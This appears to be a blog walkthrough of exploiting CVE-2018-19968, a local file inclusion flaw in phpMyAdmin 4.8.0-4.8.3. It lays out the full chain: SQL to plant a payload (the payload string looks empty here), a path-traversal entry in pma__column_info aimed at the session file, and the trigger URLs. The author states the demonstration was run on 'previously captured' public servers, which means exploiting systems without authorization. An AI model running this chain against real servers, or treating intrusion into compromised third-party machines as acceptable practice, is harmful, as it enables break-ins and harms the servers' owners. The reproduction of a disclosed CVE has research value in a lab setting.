Exploiting Local File Inclusion Vulnerability in phpMyAdmin: A Step-by-Step Guide

This vulnerability, related to local file inclusion, is a phpMyAdmin issue that was disclosed last month. I dedicated an entire afternoon to reproducing this vulnerability and documenting the process, along with my insights and reflections.

Below is the official description:

On December 7, 2018, phpMyAdmin released a security advisory PMASA-2018-6 addressing a local file inclusion vulnerability caused by the Transformation feature. This issue affects versions 4.8.0 to 4.8.3 and is identified as CVE-2018-19968.

Transformation is an advanced feature in phpMyAdmin that allows different transformations to be applied to the content of each field. For example, if you have a field named ‘Filename’ containing file paths, phpMyAdmin would normally display the path. However, using Transformation, you can convert this field into a hyperlink, enabling you to click and view the file in a new browser window directly from phpMyAdmin.

Typically, Transformation rules are stored in the `pma__column_info` table of each database. However, in phpMyAdmin versions 4.8.0 to 4.8.3, improper handling of transformation parameters led to an arbitrary file inclusion vulnerability.

To summarize: a user-controllable database field can be manipulated to execute commands.

Let me first share some challenges I faced during the reproduction process. Many online reproduction guides provided a test environment link:

VulnSpy has provided an online phpMyAdmin environment: https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1. Click the START TO HACK button in the top-right corner to begin testing.

I highly recommend this website.

However, I couldn’t reproduce the vulnerability successfully on their target environment despite numerous attempts. I wasn’t sure what went wrong. Later, I tried using some previously captured public-facing servers, and it worked immediately.

For demonstration purposes, I used one of these servers (though I recommend setting up your own environment, preferably on Linux).

First, log in to the phpMyAdmin backend and execute the following SQL commands:

CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT ‘ ’;

This writes the command we want to execute into the database field. However, at this point, the phpMyAdmin configuration table has not yet been created in the `foo` database. Access the following URL:

http://replace_with_your_test_address/chk_rel.php?fixall_pmadb=1&db=foo

Next, insert the manipulated Transformation data into the `pma__column_info` table. Replace `sess_` with your session ID, which corresponds to the `phpMyAdmin` value in your browser’s cookies.

INSERT INTO `pma__column_info` SELECT 
'1',
'foo',
'bar',
'baz',
'plop',
'plop',
'plop',
'plop',
'../../../../../../../../tmp/sess_',
'plop';

A quick way to view your cookie is by opening your browser’s developer tools (F12). Refresh the page afterward.

Execute the SQL command.

Visit the following URL:

http://replace_with_your_test_address/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

If successful, the malicious SESSION file will be included automatically.

Command executed successfully! Vulnerability reproduction is complete.

Key takeaways:

1. Reproducing a vulnerability yourself is far more insightful than reading about it. You’ll remember the pitfalls better after experiencing them firsthand. While writing this post, I reproduced the vulnerability on multiple versions to deepen my understanding.
2. When starting out, some parts of the process can be confusing. I had to review the vulnerability code dozens of times to fully understand its root cause. Researching and documenting unfamiliar functions and methods will greatly benefit future code audits.
3. If you’re unsure about the root directory’s location, you can use multiple `../` concatenations. Adding extra levels won’t cause errors.